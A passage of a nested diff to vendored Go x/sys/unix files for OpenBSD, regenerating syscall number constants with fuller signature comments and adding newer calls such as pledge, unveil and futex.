-+ SYS_DUP3 = 102 // { int sys_dup3(int from, int to, int flags); }
- SYS_SIGRETURN = 103 // { int sys_sigreturn(struct sigcontext *sigcntxp); }
-- SYS_BIND = 104 // { int sys_bind(int s, const struct sockaddr *name, \
-- SYS_SETSOCKOPT = 105 // { int sys_setsockopt(int s, int level, int name, \
-+ SYS_BIND = 104 // { int sys_bind(int s, const struct sockaddr *name, socklen_t namelen); }
-+ SYS_SETSOCKOPT = 105 // { int sys_setsockopt(int s, int level, int name, const void *val, socklen_t valsize); }
- SYS_LISTEN = 106 // { int sys_listen(int s, int backlog); }
-- SYS_PPOLL = 109 // { int sys_ppoll(struct pollfd *fds, \
-- SYS_PSELECT = 110 // { int sys_pselect(int nd, fd_set *in, fd_set *ou, \
-+ SYS_CHFLAGSAT = 107 // { int sys_chflagsat(int fd, const char *path, u_int flags, int atflags); }
-+ SYS_PLEDGE = 108 // { int sys_pledge(const char *promises, const char *execpromises); }
-+ SYS_PPOLL = 109 // { int sys_ppoll(struct pollfd *fds, u_int nfds, const struct timespec *ts, const sigset_t *mask); }
-+ SYS_PSELECT = 110 // { int sys_pselect(int nd, fd_set *in, fd_set *ou, fd_set *ex, const struct timespec *ts, const sigset_t *mask); }
- SYS_SIGSUSPEND = 111 // { int sys_sigsuspend(int mask); }
-- SYS_GETSOCKOPT = 118 // { int sys_getsockopt(int s, int level, int name, \
-- SYS_READV = 120 // { ssize_t sys_readv(int fd, \
-- SYS_WRITEV = 121 // { ssize_t sys_writev(int fd, \
-+ SYS_SENDSYSLOG = 112 // { int sys_sendsyslog(const char *buf, size_t nbyte, int flags); }
-+ SYS_UNVEIL = 114 // { int sys_unveil(const char *path, const char *permissions); }
-+ SYS_GETSOCKOPT = 118 // { int sys_getsockopt(int s, int level, int name, void *val, socklen_t *avalsize); }
-+ SYS_THRKILL = 119 // { int sys_thrkill(pid_t tid, int signum, void *tcb); }
-+ SYS_READV = 120 // { ssize_t sys_readv(int fd, const struct iovec *iovp, int iovcnt); }
-+ SYS_WRITEV = 121 // { ssize_t sys_writev(int fd, const struct iovec *iovp, int iovcnt); }
-+ SYS_KILL = 122 // { int sys_kill(int pid, int signum); }
- SYS_FCHOWN = 123 // { int sys_fchown(int fd, uid_t uid, gid_t gid); }
- SYS_FCHMOD = 124 // { int sys_fchmod(int fd, mode_t mode); }
- SYS_SETREUID = 126 // { int sys_setreuid(uid_t ruid, uid_t euid); }
-@@ -119,89 +129,90 @@ const (
- SYS_RENAME = 128 // { int sys_rename(const char *from, const char *to); }
- SYS_FLOCK = 131 // { int sys_flock(int fd, int how); }
- SYS_MKFIFO = 132 // { int sys_mkfifo(const char *path, mode_t mode); }
-- SYS_SENDTO = 133 // { ssize_t sys_sendto(int s, const void *buf, \
-+ SYS_SENDTO = 133 // { ssize_t sys_sendto(int s, const void *buf, size_t len, int flags, const struct sockaddr *to, socklen_t tolen); }
- SYS_SHUTDOWN = 134 // { int sys_shutdown(int s, int how); }
-- SYS_SOCKETPAIR = 135 // { int sys_socketpair(int domain, int type, \
-+ SYS_SOCKETPAIR = 135 // { int sys_socketpair(int domain, int type, int protocol, int *rsv); }
- SYS_MKDIR = 136 // { int sys_mkdir(const char *path, mode_t mode); }
- SYS_RMDIR = 137 // { int sys_rmdir(const char *path); }
-- SYS_ADJTIME = 140 // { int sys_adjtime(const struct timeval *delta, \
-+ SYS_ADJTIME = 140 // { int sys_adjtime(const struct timeval *delta, struct timeval *olddelta); }
-+ SYS_GETLOGIN_R = 141 // { int sys_getlogin_r(char *namebuf, u_int namelen); }
- SYS_SETSID = 147 // { int sys_setsid(void); }
-- SYS_QUOTACTL = 148 // { int sys_quotactl(const char *path, int cmd, \
-+ SYS_QUOTACTL = 148 // { int sys_quotactl(const char *path, int cmd, int uid, char *arg); }
- SYS_NFSSVC = 155 // { int sys_nfssvc(int flag, void *argp); }
- SYS_GETFH = 161 // { int sys_getfh(const char *fname, fhandle_t *fhp); }
- SYS_SYSARCH = 165 // { int sys_sysarch(int op, void *parms); }
-- SYS_PREAD = 173 // { ssize_t sys_pread(int fd, void *buf, \
-- SYS_PWRITE = 174 // { ssize_t sys_pwrite(int fd, const void *buf, \
-+ SYS_PREAD = 173 // { ssize_t sys_pread(int fd, void *buf, size_t nbyte, int pad, off_t offset); }
-+ SYS_PWRITE = 174 // { ssize_t sys_pwrite(int fd, const void *buf, size_t nbyte, int pad, off_t offset); }
- SYS_SETGID = 181 // { int sys_setgid(gid_t gid); }
- SYS_SETEGID = 182 // { int sys_setegid(gid_t egid); }
- SYS_SETEUID = 183 // { int sys_seteuid(uid_t euid); }
- SYS_PATHCONF = 191 // { long sys_pathconf(const char *path, int name); }
- SYS_FPATHCONF = 192 // { long sys_fpathconf(int fd, int name); }
- SYS_SWAPCTL = 193 // { int sys_swapctl(int cmd, const void *arg, int misc); }
-- SYS_GETRLIMIT = 194 // { int sys_getrlimit(int which, \
-- SYS_SETRLIMIT = 195 // { int sys_setrlimit(int which, \
-- SYS_MMAP = 197 // { void *sys_mmap(void *addr, size_t len, int prot, \
-- SYS_LSEEK = 199 // { off_t sys_lseek(int fd, int pad, off_t offset, \
-- SYS_TRUNCATE = 200 // { int sys_truncate(const char *path, int pad, \
-+ SYS_GETRLIMIT = 194 // { int sys_getrlimit(int which, struct rlimit *rlp); }
-+ SYS_SETRLIMIT = 195 // { int sys_setrlimit(int which, const struct rlimit *rlp); }
-+ SYS_MMAP = 197 // { void *sys_mmap(void *addr, size_t len, int prot, int flags, int fd, long pad, off_t pos); }
-+ SYS_LSEEK = 199 // { off_t sys_lseek(int fd, int pad, off_t offset, int whence); }
-+ SYS_TRUNCATE = 200 // { int sys_truncate(const char *path, int pad, off_t length); }
- SYS_FTRUNCATE = 201 // { int sys_ftruncate(int fd, int pad, off_t length); }
-- SYS___SYSCTL = 202 // { int sys___sysctl(const int *name, u_int namelen, \
-+ SYS_SYSCTL = 202 // { int sys_sysctl(const int *name, u_int namelen, void *old, size_t *oldlenp, void *new, size_t newlen); }
- SYS_MLOCK = 203 // { int sys_mlock(const void *addr, size_t len); }
- SYS_MUNLOCK = 204 // { int sys_munlock(const void *addr, size_t len); }
- SYS_GETPGID = 207 // { pid_t sys_getpgid(pid_t pid); }
-- SYS_UTRACE = 209 // { int sys_utrace(const char *label, const void *addr, \
-+ SYS_UTRACE = 209 // { int sys_utrace(const char *label, const void *addr, size_t len); }
- SYS_SEMGET = 221 // { int sys_semget(key_t key, int nsems, int semflg); }
- SYS_MSGGET = 225 // { int sys_msgget(key_t key, int msgflg); }
-- SYS_MSGSND = 226 // { int sys_msgsnd(int msqid, const void *msgp, size_t msgsz, \
-- SYS_MSGRCV = 227 // { int sys_msgrcv(int msqid, void *msgp, size_t msgsz, \
-- SYS_SHMAT = 228 // { void *sys_shmat(int shmid, const void *shmaddr, \
-+ SYS_MSGSND = 226 // { int sys_msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg); }
-+ SYS_MSGRCV = 227 // { int sys_msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg); }
-+ SYS_SHMAT = 228 // { void *sys_shmat(int shmid, const void *shmaddr, int shmflg); }
- SYS_SHMDT = 230 // { int sys_shmdt(const void *shmaddr); }
-- SYS_MINHERIT = 250 // { int sys_minherit(void *addr, size_t len, \
-- SYS_POLL = 252 // { int sys_poll(struct pollfd *fds, \
-+ SYS_MINHERIT = 250 // { int sys_minherit(void *addr, size_t len, int inherit); }
-+ SYS_POLL = 252 // { int sys_poll(struct pollfd *fds, u_int nfds, int timeout); }
- SYS_ISSETUGID = 253 // { int sys_issetugid(void); }
- SYS_LCHOWN = 254 // { int sys_lchown(const char *path, uid_t uid, gid_t gid); }
- SYS_GETSID = 255 // { pid_t sys_getsid(pid_t pid); }
- SYS_MSYNC = 256 // { int sys_msync(void *addr, size_t len, int flags); }
- SYS_PIPE = 263 // { int sys_pipe(int *fdp); }
- SYS_FHOPEN = 264 // { int sys_fhopen(const fhandle_t *fhp, int flags); }
-- SYS_PREADV = 267 // { ssize_t sys_preadv(int fd, \
-- SYS_PWRITEV = 268 // { ssize_t sys_pwritev(int fd, \
-+ SYS_PREADV = 267 // { ssize_t sys_preadv(int fd, const struct iovec *iovp, int iovcnt, int pad, off_t offset); }
-+ SYS_PWRITEV = 268 // { ssize_t sys_pwritev(int fd, const struct iovec *iovp, int iovcnt, int pad, off_t offset); }
- SYS_KQUEUE = 269 // { int sys_kqueue(void); }
- SYS_MLOCKALL = 271 // { int sys_mlockall(int flags); }
- SYS_MUNLOCKALL = 272 // { int sys_munlockall(void); }
-- SYS_GETRESUID = 281 // { int sys_getresuid(uid_t *ruid, uid_t *euid, \
-- SYS_SETRESUID = 282 // { int sys_setresuid(uid_t ruid, uid_t euid, \
-- SYS_GETRESGID = 283 // { int sys_getresgid(gid_t *rgid, gid_t *egid, \
-- SYS_SETRESGID = 284 // { int sys_setresgid(gid_t rgid, gid_t egid, \
-- SYS_MQUERY = 286 // { void *sys_mquery(void *addr, size_t len, int prot, \
-+ SYS_GETRESUID = 281 // { int sys_getresuid(uid_t *ruid, uid_t *euid, uid_t *suid); }
-+ SYS_SETRESUID = 282 // { int sys_setresuid(uid_t ruid, uid_t euid, uid_t suid); }
-+ SYS_GETRESGID = 283 // { int sys_getresgid(gid_t *rgid, gid_t *egid, gid_t *sgid); }
-+ SYS_SETRESGID = 284 // { int sys_setresgid(gid_t rgid, gid_t egid, gid_t sgid); }
-+ SYS_MQUERY = 286 // { void *sys_mquery(void *addr, size_t len, int prot, int flags, int fd, long pad, off_t pos); }
- SYS_CLOSEFROM = 287 // { int sys_closefrom(int fd); }
-- SYS_SIGALTSTACK = 288 // { int sys_sigaltstack(const struct sigaltstack *nss, \
-+ SYS_SIGALTSTACK = 288 // { int sys_sigaltstack(const struct sigaltstack *nss, struct sigaltstack *oss); }
- SYS_SHMGET = 289 // { int sys_shmget(key_t key, size_t size, int shmflg); }
-- SYS_SEMOP = 290 // { int sys_semop(int semid, struct sembuf *sops, \
-- SYS_FHSTAT = 294 // { int sys_fhstat(const fhandle_t *fhp, \
-- SYS___SEMCTL = 295 // { int sys___semctl(int semid, int semnum, int cmd, \
-- SYS_SHMCTL = 296 // { int sys_shmctl(int shmid, int cmd, \
-- SYS_MSGCTL = 297 // { int sys_msgctl(int msqid, int cmd, \
-+ SYS_SEMOP = 290 // { int sys_semop(int semid, struct sembuf *sops, size_t nsops); }
-+ SYS_FHSTAT = 294 // { int sys_fhstat(const fhandle_t *fhp, struct stat *sb); }
-+ SYS___SEMCTL = 295 // { int sys___semctl(int semid, int semnum, int cmd, union semun *arg); }
-+ SYS_SHMCTL = 296 // { int sys_shmctl(int shmid, int cmd, struct shmid_ds *buf); }
-+ SYS_MSGCTL = 297 // { int sys_msgctl(int msqid, int cmd, struct msqid_ds *buf); }
- SYS_SCHED_YIELD = 298 // { int sys_sched_yield(void); }
- SYS_GETTHRID = 299 // { pid_t sys_getthrid(void); }
-- SYS___THRWAKEUP = 301 // { int sys___thrwakeup(const volatile void *ident, \
-+ SYS___THRWAKEUP = 301 // { int sys___thrwakeup(const volatile void *ident, int n); }
- SYS___THREXIT = 302 // { void sys___threxit(pid_t *notdead); }
-- SYS___THRSIGDIVERT = 303 // { int sys___thrsigdivert(sigset_t sigmask, \
-+ SYS___THRSIGDIVERT = 303 // { int sys___thrsigdivert(sigset_t sigmask, siginfo_t *info, const struct timespec *timeout); }
- SYS___GETCWD = 304 // { int sys___getcwd(char *buf, size_t len); }
-- SYS_ADJFREQ = 305 // { int sys_adjfreq(const int64_t *freq, \
-+ SYS_ADJFREQ = 305 // { int sys_adjfreq(const int64_t *freq, int64_t *oldfreq); }
- SYS_SETRTABLE = 310 // { int sys_setrtable(int rtableid); }
- SYS_GETRTABLE = 311 // { int sys_getrtable(void); }
-- SYS_FACCESSAT = 313 // { int sys_faccessat(int fd, const char *path, \
-- SYS_FCHMODAT = 314 // { int sys_fchmodat(int fd, const char *path, \
-- SYS_FCHOWNAT = 315 // { int sys_fchownat(int fd, const char *path, \
-- SYS_LINKAT = 317 // { int sys_linkat(int fd1, const char *path1, int fd2, \
-- SYS_MKDIRAT = 318 // { int sys_mkdirat(int fd, const char *path, \
-- SYS_MKFIFOAT = 319 // { int sys_mkfifoat(int fd, const char *path, \
-- SYS_MKNODAT = 320 // { int sys_mknodat(int fd, const char *path, \
-- SYS_OPENAT = 321 // { int sys_openat(int fd, const char *path, int flags, \
-- SYS_READLINKAT = 322 // { ssize_t sys_readlinkat(int fd, const char *path, \
-- SYS_RENAMEAT = 323 // { int sys_renameat(int fromfd, const char *from, \
-- SYS_SYMLINKAT = 324 // { int sys_symlinkat(const char *path, int fd, \
-- SYS_UNLINKAT = 325 // { int sys_unlinkat(int fd, const char *path, \
-+ SYS_FACCESSAT = 313 // { int sys_faccessat(int fd, const char *path, int amode, int flag); }
-+ SYS_FCHMODAT = 314 // { int sys_fchmodat(int fd, const char *path, mode_t mode, int flag); }
-+ SYS_FCHOWNAT = 315 // { int sys_fchownat(int fd, const char *path, uid_t uid, gid_t gid, int flag); }
-+ SYS_LINKAT = 317 // { int sys_linkat(int fd1, const char *path1, int fd2, const char *path2, int flag); }
-+ SYS_MKDIRAT = 318 // { int sys_mkdirat(int fd, const char *path, mode_t mode); }
-+ SYS_MKFIFOAT = 319 // { int sys_mkfifoat(int fd, const char *path, mode_t mode); }
-+ SYS_MKNODAT = 320 // { int sys_mknodat(int fd, const char *path, mode_t mode, dev_t dev); }
-+ SYS_OPENAT = 321 // { int sys_openat(int fd, const char *path, int flags, ... mode_t mode); }
-+ SYS_READLINKAT = 322 // { ssize_t sys_readlinkat(int fd, const char *path, char *buf, size_t count); }
-+ SYS_RENAMEAT = 323 // { int sys_renameat(int fromfd, const char *from, int tofd, const char *to); }
-+ SYS_SYMLINKAT = 324 // { int sys_symlinkat(const char *path, int fd, const char *link); }
-+ SYS_UNLINKAT = 325 // { int sys_unlinkat(int fd, const char *path, int flag); }
- SYS___SET_TCB = 329 // { void sys___set_tcb(void *tcb); }
- SYS___GET_TCB = 330 // { void *sys___get_tcb(void); }
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_openbsd_arm.go b/vendor/golang.org/x/sys/unix/zsysnum_openbsd_arm.go
-index 32653e53..33d1dc54 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_openbsd_arm.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_openbsd_arm.go
-@@ -1,5 +1,5 @@
--// mksysnum_openbsd.pl
--// MACHINE GENERATED BY THE ABOVE COMMAND; DO NOT EDIT
-+// go run mksysnum.go https://cvsweb.openbsd.org/cgi-bin/cvsweb/~checkout~/src/sys/kern/syscalls.master
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build arm,openbsd
-
-@@ -9,35 +9,35 @@ const (
- SYS_EXIT = 1 // { void sys_exit(int rval); }
- SYS_FORK = 2 // { int sys_fork(void); }
- SYS_READ = 3 // { ssize_t sys_read(int fd, void *buf, size_t nbyte); }
-- SYS_WRITE = 4 // { ssize_t sys_write(int fd, const void *buf, \
-- SYS_OPEN = 5 // { int sys_open(const char *path, \
-+ SYS_WRITE = 4 // { ssize_t sys_write(int fd, const void *buf, size_t nbyte); }
-+ SYS_OPEN = 5 // { int sys_open(const char *path, int flags, ... mode_t mode); }
- SYS_CLOSE = 6 // { int sys_close(int fd); }
- SYS_GETENTROPY = 7 // { int sys_getentropy(void *buf, size_t nbyte); }
-- SYS___TFORK = 8 // { int sys___tfork(const struct __tfork *param, \
-+ SYS___TFORK = 8 // { int sys___tfork(const struct __tfork *param, size_t psize); }
- SYS_LINK = 9 // { int sys_link(const char *path, const char *link); }
- SYS_UNLINK = 10 // { int sys_unlink(const char *path); }
-- SYS_WAIT4 = 11 // { pid_t sys_wait4(pid_t pid, int *status, \
-+ SYS_WAIT4 = 11 // { pid_t sys_wait4(pid_t pid, int *status, int options, struct rusage *rusage); }
- SYS_CHDIR = 12 // { int sys_chdir(const char *path); }
- SYS_FCHDIR = 13 // { int sys_fchdir(int fd); }
-- SYS_MKNOD = 14 // { int sys_mknod(const char *path, mode_t mode, \
-+ SYS_MKNOD = 14 // { int sys_mknod(const char *path, mode_t mode, dev_t dev); }
- SYS_CHMOD = 15 // { int sys_chmod(const char *path, mode_t mode); }
-- SYS_CHOWN = 16 // { int sys_chown(const char *path, uid_t uid, \
-+ SYS_CHOWN = 16 // { int sys_chown(const char *path, uid_t uid, gid_t gid); }
- SYS_OBREAK = 17 // { int sys_obreak(char *nsize); } break
- SYS_GETDTABLECOUNT = 18 // { int sys_getdtablecount(void); }
-- SYS_GETRUSAGE = 19 // { int sys_getrusage(int who, \
-+ SYS_GETRUSAGE = 19 // { int sys_getrusage(int who, struct rusage *rusage); }
- SYS_GETPID = 20 // { pid_t sys_getpid(void); }
-- SYS_MOUNT = 21 // { int sys_mount(const char *type, const char *path, \
-+ SYS_MOUNT = 21 // { int sys_mount(const char *type, const char *path, int flags, void *data); }
- SYS_UNMOUNT = 22 // { int sys_unmount(const char *path, int flags); }
- SYS_SETUID = 23 // { int sys_setuid(uid_t uid); }
- SYS_GETUID = 24 // { uid_t sys_getuid(void); }
- SYS_GETEUID = 25 // { uid_t sys_geteuid(void); }
-- SYS_PTRACE = 26 // { int sys_ptrace(int req, pid_t pid, caddr_t addr, \
-- SYS_RECVMSG = 27 // { ssize_t sys_recvmsg(int s, struct msghdr *msg, \
-- SYS_SENDMSG = 28 // { ssize_t sys_sendmsg(int s, \
-- SYS_RECVFROM = 29 // { ssize_t sys_recvfrom(int s, void *buf, size_t len, \
-- SYS_ACCEPT = 30 // { int sys_accept(int s, struct sockaddr *name, \
-- SYS_GETPEERNAME = 31 // { int sys_getpeername(int fdes, struct sockaddr *asa, \
-- SYS_GETSOCKNAME = 32 // { int sys_getsockname(int fdes, struct sockaddr *asa, \
-+ SYS_PTRACE = 26 // { int sys_ptrace(int req, pid_t pid, caddr_t addr, int data); }
-+ SYS_RECVMSG = 27 // { ssize_t sys_recvmsg(int s, struct msghdr *msg, int flags); }
-+ SYS_SENDMSG = 28 // { ssize_t sys_sendmsg(int s, const struct msghdr *msg, int flags); }
-+ SYS_RECVFROM = 29 // { ssize_t sys_recvfrom(int s, void *buf, size_t len, int flags, struct sockaddr *from, socklen_t *fromlenaddr); }
-+ SYS_ACCEPT = 30 // { int sys_accept(int s, struct sockaddr *name, socklen_t *anamelen); }
-+ SYS_GETPEERNAME = 31 // { int sys_getpeername(int fdes, struct sockaddr *asa, socklen_t *alen); }
-+ SYS_GETSOCKNAME = 32 // { int sys_getsockname(int fdes, struct sockaddr *asa, socklen_t *alen); }
- SYS_ACCESS = 33 // { int sys_access(const char *path, int amode); }
- SYS_CHFLAGS = 34 // { int sys_chflags(const char *path, u_int flags); }
- SYS_FCHFLAGS = 35 // { int sys_fchflags(int fd, u_int flags); }
-@@ -46,77 +46,81 @@ const (
- SYS_GETPPID = 39 // { pid_t sys_getppid(void); }
- SYS_LSTAT = 40 // { int sys_lstat(const char *path, struct stat *ub); }
- SYS_DUP = 41 // { int sys_dup(int fd); }
-- SYS_FSTATAT = 42 // { int sys_fstatat(int fd, const char *path, \
-+ SYS_FSTATAT = 42 // { int sys_fstatat(int fd, const char *path, struct stat *buf, int flag); }
- SYS_GETEGID = 43 // { gid_t sys_getegid(void); }
-- SYS_PROFIL = 44 // { int sys_profil(caddr_t samples, size_t size, \
-- SYS_KTRACE = 45 // { int sys_ktrace(const char *fname, int ops, \
-- SYS_SIGACTION = 46 // { int sys_sigaction(int signum, \
-+ SYS_PROFIL = 44 // { int sys_profil(caddr_t samples, size_t size, u_long offset, u_int scale); }
-+ SYS_KTRACE = 45 // { int sys_ktrace(const char *fname, int ops, int facs, pid_t pid); }
-+ SYS_SIGACTION = 46 // { int sys_sigaction(int signum, const struct sigaction *nsa, struct sigaction *osa); }
- SYS_GETGID = 47 // { gid_t sys_getgid(void); }
- SYS_SIGPROCMASK = 48 // { int sys_sigprocmask(int how, sigset_t mask); }
-- SYS_GETLOGIN = 49 // { int sys_getlogin(char *namebuf, u_int namelen); }
- SYS_SETLOGIN = 50 // { int sys_setlogin(const char *namebuf); }
- SYS_ACCT = 51 // { int sys_acct(const char *path); }
- SYS_SIGPENDING = 52 // { int sys_sigpending(void); }
- SYS_FSTAT = 53 // { int sys_fstat(int fd, struct stat *sb); }
-- SYS_IOCTL = 54 // { int sys_ioctl(int fd, \
-+ SYS_IOCTL = 54 // { int sys_ioctl(int fd, u_long com, ... void *data); }
- SYS_REBOOT = 55 // { int sys_reboot(int opt); }
- SYS_REVOKE = 56 // { int sys_revoke(const char *path); }
-- SYS_SYMLINK = 57 // { int sys_symlink(const char *path, \
-- SYS_READLINK = 58 // { ssize_t sys_readlink(const char *path, \
-- SYS_EXECVE = 59 // { int sys_execve(const char *path, \
-+ SYS_SYMLINK = 57 // { int sys_symlink(const char *path, const char *link); }
-+ SYS_READLINK = 58 // { ssize_t sys_readlink(const char *path, char *buf, size_t count); }
-+ SYS_EXECVE = 59 // { int sys_execve(const char *path, char * const *argp, char * const *envp); }
- SYS_UMASK = 60 // { mode_t sys_umask(mode_t newmask); }
- SYS_CHROOT = 61 // { int sys_chroot(const char *path); }
-- SYS_GETFSSTAT = 62 // { int sys_getfsstat(struct statfs *buf, size_t bufsize, \
-- SYS_STATFS = 63 // { int sys_statfs(const char *path, \
-+ SYS_GETFSSTAT = 62 // { int sys_getfsstat(struct statfs *buf, size_t bufsize, int flags); }
-+ SYS_STATFS = 63 // { int sys_statfs(const char *path, struct statfs *buf); }
- SYS_FSTATFS = 64 // { int sys_fstatfs(int fd, struct statfs *buf); }
-- SYS_FHSTATFS = 65 // { int sys_fhstatfs(const fhandle_t *fhp, \
-+ SYS_FHSTATFS = 65 // { int sys_fhstatfs(const fhandle_t *fhp, struct statfs *buf); }
- SYS_VFORK = 66 // { int sys_vfork(void); }
-- SYS_GETTIMEOFDAY = 67 // { int sys_gettimeofday(struct timeval *tp, \
-- SYS_SETTIMEOFDAY = 68 // { int sys_settimeofday(const struct timeval *tv, \
-- SYS_SETITIMER = 69 // { int sys_setitimer(int which, \
-- SYS_GETITIMER = 70 // { int sys_getitimer(int which, \
-- SYS_SELECT = 71 // { int sys_select(int nd, fd_set *in, fd_set *ou, \
-- SYS_KEVENT = 72 // { int sys_kevent(int fd, \
-+ SYS_GETTIMEOFDAY = 67 // { int sys_gettimeofday(struct timeval *tp, struct timezone *tzp); }
-+ SYS_SETTIMEOFDAY = 68 // { int sys_settimeofday(const struct timeval *tv, const struct timezone *tzp); }
-+ SYS_SETITIMER = 69 // { int sys_setitimer(int which, const struct itimerval *itv, struct itimerval *oitv); }
-+ SYS_GETITIMER = 70 // { int sys_getitimer(int which, struct itimerval *itv); }
-+ SYS_SELECT = 71 // { int sys_select(int nd, fd_set *in, fd_set *ou, fd_set *ex, struct timeval *tv); }
-+ SYS_KEVENT = 72 // { int sys_kevent(int fd, const struct kevent *changelist, int nchanges, struct kevent *eventlist, int nevents, const struct timespec *timeout); }
- SYS_MUNMAP = 73 // { int sys_munmap(void *addr, size_t len); }
-- SYS_MPROTECT = 74 // { int sys_mprotect(void *addr, size_t len, \
-- SYS_MADVISE = 75 // { int sys_madvise(void *addr, size_t len, \
-- SYS_UTIMES = 76 // { int sys_utimes(const char *path, \
-- SYS_FUTIMES = 77 // { int sys_futimes(int fd, \
-- SYS_MINCORE = 78 // { int sys_mincore(void *addr, size_t len, \
-- SYS_GETGROUPS = 79 // { int sys_getgroups(int gidsetsize, \
-- SYS_SETGROUPS = 80 // { int sys_setgroups(int gidsetsize, \
-+ SYS_MPROTECT = 74 // { int sys_mprotect(void *addr, size_t len, int prot); }
-+ SYS_MADVISE = 75 // { int sys_madvise(void *addr, size_t len, int behav); }
-+ SYS_UTIMES = 76 // { int sys_utimes(const char *path, const struct timeval *tptr); }
-+ SYS_FUTIMES = 77 // { int sys_futimes(int fd, const struct timeval *tptr); }
-+ SYS_MINCORE = 78 // { int sys_mincore(void *addr, size_t len, char *vec); }
-+ SYS_GETGROUPS = 79 // { int sys_getgroups(int gidsetsize, gid_t *gidset); }
-+ SYS_SETGROUPS = 80 // { int sys_setgroups(int gidsetsize, const gid_t *gidset); }
- SYS_GETPGRP = 81 // { int sys_getpgrp(void); }
- SYS_SETPGID = 82 // { int sys_setpgid(pid_t pid, pid_t pgid); }
-- SYS_SENDSYSLOG = 83 // { int sys_sendsyslog(const void *buf, size_t nbyte); }
-- SYS_UTIMENSAT = 84 // { int sys_utimensat(int fd, const char *path, \
-- SYS_FUTIMENS = 85 // { int sys_futimens(int fd, \
-- SYS_CLOCK_GETTIME = 87 // { int sys_clock_gettime(clockid_t clock_id, \
-- SYS_CLOCK_SETTIME = 88 // { int sys_clock_settime(clockid_t clock_id, \
-- SYS_CLOCK_GETRES = 89 // { int sys_clock_getres(clockid_t clock_id, \
-+ SYS_FUTEX = 83 // { int sys_futex(uint32_t *f, int op, int val, const struct timespec *timeout, uint32_t *g); }
-+ SYS_UTIMENSAT = 84 // { int sys_utimensat(int fd, const char *path, const struct timespec *times, int flag); }
-+ SYS_FUTIMENS = 85 // { int sys_futimens(int fd, const struct timespec *times); }
-+ SYS_KBIND = 86 // { int sys_kbind(const struct __kbind *param, size_t psize, int64_t proc_cookie); }
-+ SYS_CLOCK_GETTIME = 87 // { int sys_clock_gettime(clockid_t clock_id, struct timespec *tp); }
-+ SYS_CLOCK_SETTIME = 88 // { int sys_clock_settime(clockid_t clock_id, const struct timespec *tp); }
-+ SYS_CLOCK_GETRES = 89 // { int sys_clock_getres(clockid_t clock_id, struct timespec *tp); }
- SYS_DUP2 = 90 // { int sys_dup2(int from, int to); }
-- SYS_NANOSLEEP = 91 // { int sys_nanosleep(const struct timespec *rqtp, \
-+ SYS_NANOSLEEP = 91 // { int sys_nanosleep(const struct timespec *rqtp, struct timespec *rmtp); }
- SYS_FCNTL = 92 // { int sys_fcntl(int fd, int cmd, ... void *arg); }
-- SYS_ACCEPT4 = 93 // { int sys_accept4(int s, struct sockaddr *name, \
-- SYS___THRSLEEP = 94 // { int sys___thrsleep(const volatile void *ident, \
-+ SYS_ACCEPT4 = 93 // { int sys_accept4(int s, struct sockaddr *name, socklen_t *anamelen, int flags); }
-+ SYS___THRSLEEP = 94 // { int sys___thrsleep(const volatile void *ident, clockid_t clock_id, const struct timespec *tp, void *lock, const int *abort); }
- SYS_FSYNC = 95 // { int sys_fsync(int fd); }
- SYS_SETPRIORITY = 96 // { int sys_setpriority(int which, id_t who, int prio); }
- SYS_SOCKET = 97 // { int sys_socket(int domain, int type, int protocol); }
-- SYS_CONNECT = 98 // { int sys_connect(int s, const struct sockaddr *name, \
-+ SYS_CONNECT = 98 // { int sys_connect(int s, const struct sockaddr *name, socklen_t namelen); }
- SYS_GETDENTS = 99 // { int sys_getdents(int fd, void *buf, size_t buflen); }
- SYS_GETPRIORITY = 100 // { int sys_getpriority(int which, id_t who); }
- SYS_PIPE2 = 101 // { int sys_pipe2(int *fdp, int flags); }
- SYS_DUP3 = 102 // { int sys_dup3(int from, int to, int flags); }
- SYS_SIGRETURN = 103 // { int sys_sigreturn(struct sigcontext *sigcntxp); }
-- SYS_BIND = 104 // { int sys_bind(int s, const struct sockaddr *name, \
-- SYS_SETSOCKOPT = 105 // { int sys_setsockopt(int s, int level, int name, \
-+ SYS_BIND = 104 // { int sys_bind(int s, const struct sockaddr *name, socklen_t namelen); }
-+ SYS_SETSOCKOPT = 105 // { int sys_setsockopt(int s, int level, int name, const void *val, socklen_t valsize); }
- SYS_LISTEN = 106 // { int sys_listen(int s, int backlog); }
-- SYS_CHFLAGSAT = 107 // { int sys_chflagsat(int fd, const char *path, \
-- SYS_PPOLL = 109 // { int sys_ppoll(struct pollfd *fds, \
-- SYS_PSELECT = 110 // { int sys_pselect(int nd, fd_set *in, fd_set *ou, \
-+ SYS_CHFLAGSAT = 107 // { int sys_chflagsat(int fd, const char *path, u_int flags, int atflags); }
-+ SYS_PLEDGE = 108 // { int sys_pledge(const char *promises, const char *execpromises); }
-+ SYS_PPOLL = 109 // { int sys_ppoll(struct pollfd *fds, u_int nfds, const struct timespec *ts, const sigset_t *mask); }
-+ SYS_PSELECT = 110 // { int sys_pselect(int nd, fd_set *in, fd_set *ou, fd_set *ex, const struct timespec *ts, const sigset_t *mask); }
- SYS_SIGSUSPEND = 111 // { int sys_sigsuspend(int mask); }
-- SYS_GETSOCKOPT = 118 // { int sys_getsockopt(int s, int level, int name, \
-- SYS_READV = 120 // { ssize_t sys_readv(int fd, \
-- SYS_WRITEV = 121 // { ssize_t sys_writev(int fd, \
-+ SYS_SENDSYSLOG = 112 // { int sys_sendsyslog(const char *buf, size_t nbyte, int flags); }
-+ SYS_UNVEIL = 114 // { int sys_unveil(const char *path, const char *permissions); }
-+ SYS_GETSOCKOPT = 118 // { int sys_getsockopt(int s, int level, int name, void *val, socklen_t *avalsize); }
-+ SYS_THRKILL = 119 // { int sys_thrkill(pid_t tid, int signum, void *tcb); }
-+ SYS_READV = 120 // { ssize_t sys_readv(int fd, const struct iovec *iovp, int iovcnt); }
-+ SYS_WRITEV = 121 // { ssize_t sys_writev(int fd, const struct iovec *iovp, int iovcnt); }
- SYS_KILL = 122 // { int sys_kill(int pid, int signum); }
- SYS_FCHOWN = 123 // { int sys_fchown(int fd, uid_t uid, gid_t gid); }
- SYS_FCHMOD = 124 // { int sys_fchmod(int fd, mode_t mode); }
-@@ -125,89 +129,90 @@ const (
- SYS_RENAME = 128 // { int sys_rename(const char *from, const char *to); }
- SYS_FLOCK = 131 // { int sys_flock(int fd, int how); }
